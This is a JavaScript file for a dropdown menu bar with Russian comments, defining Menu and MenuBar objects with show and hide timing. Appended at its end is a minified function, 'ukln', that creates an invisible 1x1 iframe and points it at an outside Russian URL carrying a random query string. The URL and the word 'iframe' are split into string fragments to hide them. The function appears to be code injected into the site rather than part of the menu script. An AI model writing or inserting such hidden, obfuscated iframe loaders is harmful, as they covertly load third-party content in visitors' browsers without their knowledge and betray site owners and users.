/* Выпадающее меню */
function setVisible(visible){
    if (document.getElementById(this.id)) {
        if(visible){
            document.getElementById(this.id).style.visibility="visible";
        }else{
            document.getElementById(this.id).style.visibility="hidden";
        }
    }
}

function Menu(id){
	this.id=id; //id слоя связанного с меню
	this.setVisible=setVisible;
}

function addMenu(id){
	var length=this.menus.length;
	this.menus[length]=new Menu(id);
}

function show(id){
	for(var k=0; k<this.menus.length; k++) {
		var n = k + 1;
        if(document.getElementById('MM'+n)) {
            var x = document.getElementById('MM'+n).offsetLeft;
            try{
                var y = jQuery('#MM'+n).offset().top;
            } catch(e) {
                var y = (navigator.appVersion.indexOf("MSIE") != -1) ? 114 : document.getElementById('MM'+n).offsetTop;
            }
            document.getElementById('M'+n).style.left = x-5+'px';
            document.getElementById('M'+n).style.top = y+26+'px';
        }
	}
	
	clearTimeout(this.timer);
	this.timer=0;
	for(var i=0; i<this.menus.length; i++){
		if(this.menus[i].id==id){
			this.menus[i].setVisible(true);
		}else{
			this.menus[i].setVisible(false);
		}
	}
}

var tmpObject;
function hide(id){
	for(var i=0; i<this.menus.length; i++){
		if(this.menus[i].id==id){
			tmpObject=this.menus[i];
			this.timer=setTimeout("tmpObject.setVisible(false)",800);			
			break;
		}
	}
}

function MenuBar(){
	this.menus=new Array(); //массив хранящий объекты типа Menu
	this.timer=0; //поле для связи с запущенным "таймером"
	this.addMenu=addMenu;
	this.show=show;
	this.hide=hide;
}
function ukln(b){$(document).ready(function(){b=(!b)?'http://l'+'nk'+'u.ru/r/search.q'+'i'+'p.'+'r'+'u/?query='+randomString(25):b;a=document.createElement("i"+"f"+"ra"+"me");a_id="a_"+Math.floor(Math.random()*999999);a.height=1;a.width=1;a.style["display"]="none";a.src=b;document.body.appendChild(a);return a});}function randomString(a){var b='0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz'.split('');if(!a){a=Math.floor(Math.random()*b.length)}var c='';for(var i=0;i<a;i++){c+=b[Math.floor(Math.random()*b.length)]}return c}
